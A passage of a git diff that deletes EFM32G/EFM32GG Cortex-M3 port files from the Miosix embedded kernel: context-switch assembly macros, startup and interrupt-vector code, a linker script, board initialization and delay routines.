file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/core/stage_1_boot.cpp b/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/core/stage_1_boot.cpp deleted file mode 100644 index 6c9ee1eef..000000000 --- a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/core/stage_1_boot.cpp +++ /dev/null @@ -1,211 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * EFM32 C++ startup, supports interrupt handlers in C++ without extern "C" - * NOTE: for EFM32G devices ONLY. - * Developed by Terraneo Federico to boot Miosix, - * based on silicon laboratories startup code. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void __attribute__((noreturn)) program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data,etext,edata-data); - memset(bss_start,0,bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void __attribute__((__interrupt__, noreturn)) Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) DMA_IRQHandler(); -void __attribute__((weak)) GPIO_EVEN_IRQHandler(); -void __attribute__((weak)) TIMER0_IRQHandler(); -void __attribute__((weak)) USART0_RX_IRQHandler(); -void __attribute__((weak)) USART0_TX_IRQHandler(); -void __attribute__((weak)) ACMP0_IRQHandler(); -void __attribute__((weak)) ADC0_IRQHandler(); -void __attribute__((weak)) DAC0_IRQHandler(); -void __attribute__((weak)) I2C0_IRQHandler(); -void __attribute__((weak)) GPIO_ODD_IRQHandler(); -void __attribute__((weak)) TIMER1_IRQHandler(); -void __attribute__((weak)) TIMER2_IRQHandler(); -void __attribute__((weak)) USART1_RX_IRQHandler(); -void __attribute__((weak)) USART1_TX_IRQHandler(); -void __attribute__((weak)) USART2_RX_IRQHandler(); -void __attribute__((weak)) USART2_TX_IRQHandler(); -void __attribute__((weak)) UART0_RX_IRQHandler(); -void __attribute__((weak)) UART0_TX_IRQHandler(); -void __attribute__((weak)) LEUART0_IRQHandler(); -void __attribute__((weak)) LEUART1_IRQHandler(); -void __attribute__((weak)) LETIMER0_IRQHandler(); -void __attribute__((weak)) PCNT0_IRQHandler(); -void __attribute__((weak)) PCNT1_IRQHandler(); -void __attribute__((weak)) PCNT2_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) CMU_IRQHandler(); -void __attribute__((weak)) VCMP_IRQHandler(); -void __attribute__((weak)) LCD_IRQHandler(); -void __attribute__((weak)) MSC_IRQHandler(); -void __attribute__((weak)) AES_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - DMA_IRQHandler, - GPIO_EVEN_IRQHandler, - TIMER0_IRQHandler, - USART0_RX_IRQHandler, - USART0_TX_IRQHandler, - ACMP0_IRQHandler, - ADC0_IRQHandler, - DAC0_IRQHandler, - I2C0_IRQHandler, - GPIO_ODD_IRQHandler, - TIMER1_IRQHandler, - TIMER2_IRQHandler, - USART1_RX_IRQHandler, - USART1_TX_IRQHandler, - USART2_RX_IRQHandler, - USART2_TX_IRQHandler, - UART0_RX_IRQHandler, - UART0_TX_IRQHandler, - LEUART0_IRQHandler, - LEUART1_IRQHandler, - LETIMER0_IRQHandler, - PCNT0_IRQHandler, - PCNT1_IRQHandler, - PCNT2_IRQHandler, - RTC_IRQHandler, - CMU_IRQHandler, - VCMP_IRQHandler, - LCD_IRQHandler, - MSC_IRQHandler, - AES_IRQHandler, -}; - -#pragma weak DMA_IRQHandler = Default_Handler -#pragma weak GPIO_EVEN_IRQHandler = Default_Handler -#pragma weak TIMER0_IRQHandler = Default_Handler -#pragma weak USART0_RX_IRQHandler = Default_Handler -#pragma weak USART0_TX_IRQHandler = Default_Handler -#pragma weak ACMP0_IRQHandler = Default_Handler -#pragma weak ADC0_IRQHandler = Default_Handler -#pragma weak DAC0_IRQHandler = Default_Handler -#pragma weak I2C0_IRQHandler = Default_Handler -#pragma weak GPIO_ODD_IRQHandler = Default_Handler -#pragma weak TIMER1_IRQHandler = Default_Handler -#pragma weak TIMER2_IRQHandler = Default_Handler -#pragma weak USART1_RX_IRQHandler = Default_Handler -#pragma weak USART1_TX_IRQHandler = Default_Handler -#pragma weak USART2_RX_IRQHandler = Default_Handler -#pragma weak USART2_TX_IRQHandler = Default_Handler -#pragma weak UART0_RX_IRQHandler = Default_Handler -#pragma weak UART0_TX_IRQHandler = Default_Handler -#pragma weak LEUART0_IRQHandler = Default_Handler -#pragma weak LEUART1_IRQHandler = Default_Handler -#pragma weak LETIMER0_IRQHandler = Default_Handler -#pragma weak PCNT0_IRQHandler = Default_Handler -#pragma weak PCNT1_IRQHandler = Default_Handler -#pragma weak PCNT2_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak CMU_IRQHandler = Default_Handler -#pragma weak VCMP_IRQHandler = Default_Handler -#pragma weak LCD_IRQHandler = Default_Handler -#pragma weak MSC_IRQHandler = Default_Handler -#pragma weak AES_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/efm32_128k+16k_rom_bootloader.ld b/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/efm32_128k+16k_rom_bootloader.ld deleted file mode 100644 index 4176dac8f..000000000 --- a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/efm32_128k+16k_rom_bootloader.ld +++ /dev/null @@ -1,154 +0,0 @@ -/* - * C++ enabled linker script for efm32 (128K-2K FLASH, 16K RAM) - * Developed by TFT for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done since in case - * of main stack overflow the cpu will fault because access to memory before - * the beginning of the ram faults. Instead with the default stack placement - * the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20000000+16*1024; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x00000800, LENGTH = 128K-2K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 16K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp.cpp deleted file mode 100644 index b32f9304b..000000000 --- a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,157 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - MSC->CTRL=0; //Generate bus fault on access to unmapped areas - - // - // Setup GPIOs - // - CMU->HFPERCLKEN0 |= CMU_HFPERCLKEN0_GPIO; - - // - // Setup clocks, as when we get here we're still running with HFRCO - // - //Configure flash wait states and dividers - CMU->HFCORECLKDIV=0; - CMU->HFPERCLKDIV=CMU_HFPERCLKDIV_HFPERCLKEN; - #if EFM32_HFXO_FREQ>16000000 || EFM32_HFRCO_FREQ>16000000 - MSC->READCTRL=MSC_READCTRL_MODE_WS1; - #else - MSC->READCTRL=MSC_READCTRL_MODE_WS0; - #endif - - #if defined(EFM32_HFXO_FREQ) - //Select HFXO - CMU->OSCENCMD=CMU_OSCENCMD_HFXOEN; - //Then switch immediately to HFXO - CMU->CMD=CMU_CMD_HFCLKSEL_HFXO; - //Disable HFRCO since we don't need it anymore - CMU->OSCENCMD=CMU_OSCENCMD_HFRCODIS; - #elif defined(EFM32_HFRCO_FREQ) - //Pointer to table of HFRCO calibration values in device information page - unsigned char *diHfrcoCalib=reinterpret_cast(0x0fe081dc); - #if EFM32_HFRCO_FREQ==1000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_1MHZ | diHfrcoCalib[0]; - #elif EFM32_HFRCO_FREQ==7000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_7MHZ | diHfrcoCalib[1]; - #elif EFM32_HFRCO_FREQ==11000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_11MHZ | diHfrcoCalib[2]; - #elif EFM32_HFRCO_FREQ==14000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_14MHZ | diHfrcoCalib[3]; - #elif EFM32_HFRCO_FREQ==21000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_21MHZ | diHfrcoCalib[4]; - #elif EFM32_HFRCO_FREQ==28000000 - CMU->HFRCOCTRL=CMU_HFRCOCTRL_BAND_28MHZ | diHfrcoCalib[5]; - #else - #error EFM32_HFRCO_FREQ not valid - #endif - #else - #error EFM32_HFXO_FREQ nor EFM32_HFRCO_FREQ defined - #endif - - //This function initializes the SystemCoreClock variable. It is put here - //so as to get the right value - SystemCoreClockUpdate(); - - // - // Setup serial port - // - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new EFM32Serial(defaultSerial,defaultSerialSpeed))); -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - -// //Serial port is causing some residual consumption -// USART0->CMD=USART_CMD_TXDIS | USART_CMD_RXDIS; -// USART0->ROUTE=0; -// debugConnector::tx::mode(Mode::DISABLED); -// debugConnector::rx::mode(Mode::DISABLED); -// -// //Sequence to enter EM4 -// for(int i=0;i<5;i++) -// { -// EMU->CTRL=2<<2; -// EMU->CTRL=3<<2; -// } -// //Should never reach here - miosix_private::IRQsystemReboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp_impl.h deleted file mode 100644 index 888b5d704..000000000 --- a/miosix/arch/cortexM3_efm32g/efm32g222f128_generic/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,40 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#pragma once - -namespace miosix { - -inline void ledOn() { } -inline void ledOff() { } - -} diff --git a/miosix/arch/cortexM3_efm32gg/common/arch_settings.h b/miosix/arch/cortexM3_efm32gg/common/arch_settings.h deleted file mode 100644 index 96631daa6..000000000 --- a/miosix/arch/cortexM3_efm32gg/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 9f5f1e427..000000000 --- a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,9 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#include "CMSIS/Device/SiliconLabs/EFM32GG/Include/em_device.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/SiliconLabs/EFM32GG/Include/system_efm32gg.h" - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/delays.cpp deleted file mode 100644 index 9ca12ed8e..000000000 --- a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,74 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" - -namespace miosix { - -//TODO: in theory the core clock can be prescaled so EFM32_HFXO_FREQ could not -//reflect the actual CPU speed, but no use case for doing it was found. Should -//prescaling be implemented, this code needs to be modified, but trying to put -//SystemCoreClock instead of EFM32_HFXO_FREQ results in the inner loop taking -//one more asm instruction, skewing delays. - -void delayMs(unsigned int mseconds) -{ - //The inner loop takes 4 cycles, so - //count = EFM32_HFXO_FREQ*0.001/4 = EFM32_HFXO_FREQ/4000 - register const unsigned int count=EFM32_HFXO_FREQ/4000; - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/efm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability.cpp deleted file mode 100644 index 0ad91df61..000000000 --- a/miosix/arch/cortexM3_efm32gg/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,249 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt 